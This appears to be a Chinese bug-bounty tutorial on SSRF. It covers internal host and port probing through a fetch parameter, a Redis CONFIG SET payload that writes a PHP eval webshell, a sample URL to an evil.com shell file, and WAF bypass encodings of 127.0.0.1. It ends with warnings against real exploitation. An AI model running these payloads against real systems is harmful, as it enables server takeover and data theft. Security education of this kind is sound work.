上期回顾我们冒充隔壁老王越权访问偷看了他的隐私。本期我们要更进一步——利用外网服务器攻打厂商的内网。这就是安全圈的“借刀杀人”——SSRF (Server-Side Request Forgery服务端请求伪造)。一、什么是 SSRF代购的阴谋想象一下你是个保镖防火墙守在大门口严禁外人进入别墅内网。主人Web服务器很傻对谁都信任。我对主人说“帮我代购一下http://192.168.1.1这个地址的东西呗”主人听话跑到内网把192.168.1.1的内容拿了回来给我。结果我隔着墙知道了别墅里有什么内网探测甚至能控制家里的设备攻击Redis/MySQL。二、哪里能找到 SSRF实战入口凡是需要服务器帮你去加载/抓取/下载资源的地方都是 SSRF 的重灾区。功能点参数示例图片加载?urlhttp://image.com/1.jpg文件下载?filehttp://evil.com/shell.txt网址翻译?translatehttp://google.comAPI 回调?callback_urlhttp://my-server.com三、初级玩法探测内网拓扑目标证明我能跟内网说话。1. 探测存活主机把参数改成内网 IPhttpGET /api/fetch?urlhttp://127.0.0.1 GET /api/fetch?urlhttp://192.168.1.1现象如果页面加载变慢、超时或返回不同内容说明服务器成功访问了内网。SRC 评级这通常是中危因为你证明了网络边界被打破。2. 端口扫描Banner 识别SSRF 可以用来扫端口。httpGET /api/fetch?urlhttp://127.0.0.1:6379 (Redis) GET /api/fetch?urlhttp://127.0.0.1:3306 (MySQL)判断依据如果返回ERR Invalid Protocol说明 6379 端口开着Redis 响应了。如果返回 MySQL 的乱码字符说明 3306 开着。四、高级玩法攻击 RedisGetShell 直通车这是 SSRF 里最值钱的利用方式。很多厂商内网都跑着未授权 Redis。攻击原理利用 SSRF 向 Redis 发送HTTP 请求。虽然 Redis 看不懂 HTTP但 SSRF 强行把命令塞进去。利用 Redis 的CONFIG SET命令把Webshell 写入 Web 目录。Payload 构造简化版http/?urlhttp://127.0.0.1:6379/ set x \n\n?php eval($_POST[cmd]);?\n\n config set dir /var/www/html config set dbfilename shell.php save结果服务器根目录出现shell.php直接 GetShell。五、绕过技巧WAF 的“视力障碍”厂商通常会拦截127.0.0.1。我们需要“变脸”。1. 域名欺骗短地址http://tinyurl.com/xxxx(跳转回 127.0.0.1)私有域名http://localhost(有些 WAF 只拦 IP不拦域名)IPv6http://[::1]2. 进制转换老鸟必备把127.0.0.1转换成整数十进制2130706433八进制0177.0.0.1十六进制0x7f.0.0.1实战效果http://2130706433依然指向本地但 WAF 一脸懵逼。3. URL 解析差异利用符号http://target.com127.0.0.1浏览器/服务器可能解析为访问127.0.0.1而 WAF 以为你在访问target.com。六、SRC 报告中的“升维打击”漏洞描述厂商反应评级能访问 127.0.0.1“哦知道了。”中危能扫描内网端口“赶紧修”高危能攻击 Redis/MySQL“救命啊奖金加倍”严重 (Critical)报告话术“由于 SSRF 漏洞攻击者可以绕过网络隔离对内网 Redis 服务进行未授权访问进而写入 Webshell 控制服务器导致全网沦陷。”七、互动与思考 互动话题大家在挖 SSRF 时遇到过最奇葩的“内网地址”是什么是169.254.169.254云元数据还是docker.for.mac.localhost⚠️ 法律红线警示严禁利用 SSRF 攻击真实的内网 Redis、MySQL 或 Redis 写入 Shell。证明能连通即可切勿执行命令。严禁尝试读取169.254.169.254云厂商元数据这可能导致你获取云服务器最高权限Instance Role属于严重违法行为。严禁进行内网端口扫描尤其是大规模扫描这会导致目标服务器负载过高被视为 DoS 攻击。测试原则仅证明127.0.0.1或localhost可访问。使用sleep(5)或time指令证明延迟即可。不要尝试写入任何文件。SSRF 是一把打开内网大门的钥匙但这扇门后的宝藏只看不拿才是白帽子的修养。 ️下一期我们将进入“XXE与反序列化”—— 当XML和Java开始‘吃’代码”。想知道怎么用一个 XML 文件读取服务器密码吗敬请期待